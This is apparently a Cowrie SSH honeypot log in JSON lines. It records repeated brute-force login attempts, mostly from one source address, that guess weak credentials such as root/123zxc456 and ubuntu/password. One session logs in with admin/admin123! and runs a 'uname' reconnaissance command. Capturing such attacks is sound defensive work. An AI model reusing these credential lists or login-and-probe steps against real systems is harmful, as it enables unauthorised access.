{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:13.009026Z","src_ip":"192.109.200.78","session":"45919626f117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:13.255440Z","src_ip":"192.109.200.78","session":"45919626f117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc456","message":"login attempt [root/123zxc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:13.789287Z","src_ip":"152.32.171.213","session":"f326140d375b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:14.339092Z","src_ip":"192.109.200.78","session":"45919626f117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:15.008284Z","src_ip":"152.32.171.213","session":"f326140d375b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36226,"dst_ip":"10.17.0.5","dst_port":22,"session":"530904471910","protocol":"ssh","message":"New connection: 192.109.200.78:36226 (10.17.0.5:22) [session: 530904471910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:16.313767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:16.324193Z","src_ip":"192.109.200.78","session":"530904471910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:16.557438Z","src_ip":"192.109.200.78","session":"530904471910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:16.869578Z","src_ip":"192.109.200.78","session":"530904471910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:17.953556Z","src_ip":"192.109.200.78","session":"530904471910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36240,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30d52d7dd7f","protocol":"ssh","message":"New connection: 192.109.200.78:36240 (10.17.0.5:22) [session: d30d52d7dd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:19.990988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:19.995027Z","src_ip":"192.109.200.78","session":"d30d52d7dd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:20.077329Z","src_ip":"192.109.200.78","session":"d30d52d7dd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:20.328737Z","src_ip":"192.109.200.78","session":"d30d52d7dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:21.417102Z","src_ip":"192.109.200.78","session":"d30d52d7dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54900,"dst_ip":"10.17.0.5","dst_port":22,"session":"0468d7ca72b5","protocol":"ssh","message":"New connection: 192.109.200.78:54900 (10.17.0.5:22) [session: 0468d7ca72b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:23.451424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:23.457724Z","src_ip":"192.109.200.78","session":"0468d7ca72b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:23.543323Z","src_ip":"192.109.200.78","session":"0468d7ca72b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:23.787393Z","src_ip":"192.109.200.78","session":"0468d7ca72b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:24.871222Z","src_ip":"192.109.200.78","session":"0468d7ca72b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54912,"dst_ip":"10.17.0.5","dst_port":22,"session":"731d92631907","protocol":"ssh","message":"New connection: 192.109.200.78:54912 (10.17.0.5:22) [session: 731d92631907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:27.161858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:27.166294Z","src_ip":"192.109.200.78","session":"731d92631907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:27.247095Z","src_ip":"192.109.200.78","session":"731d92631907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:27.490201Z","src_ip":"192.109.200.78","session":"731d92631907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:28.575018Z","src_ip":"192.109.200.78","session":"731d92631907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54928,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a75dd768b03","protocol":"ssh","message":"New connection: 192.109.200.78:54928 (10.17.0.5:22) [session: 3a75dd768b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:30.541159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:30.545284Z","src_ip":"192.109.200.78","session":"3a75dd768b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:30.626121Z","src_ip":"192.109.200.78","session":"3a75dd768b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:30.869930Z","src_ip":"192.109.200.78","session":"3a75dd768b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:31.953384Z","src_ip":"192.109.200.78","session":"3a75dd768b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43324,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e0bc7069bf","protocol":"ssh","message":"New connection: 192.109.200.78:43324 (10.17.0.5:22) [session: f9e0bc7069bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:33.997362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:33.999634Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.080207Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.330807Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.526399Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.528354Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.718913Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:34.722896Z","src_ip":"192.109.200.78","session":"f9e0bc7069bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43340,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20d6540065c","protocol":"ssh","message":"New connection: 192.109.200.78:43340 (10.17.0.5:22) [session: b20d6540065c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:37.686244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:37.690516Z","src_ip":"192.109.200.78","session":"b20d6540065c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:37.771328Z","src_ip":"192.109.200.78","session":"b20d6540065c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:38.018147Z","src_ip":"192.109.200.78","session":"b20d6540065c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:39.102301Z","src_ip":"192.109.200.78","session":"b20d6540065c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43342,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2bf84c9dd3","protocol":"ssh","message":"New connection: 192.109.200.78:43342 (10.17.0.5:22) [session: cc2bf84c9dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.129544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.134574Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
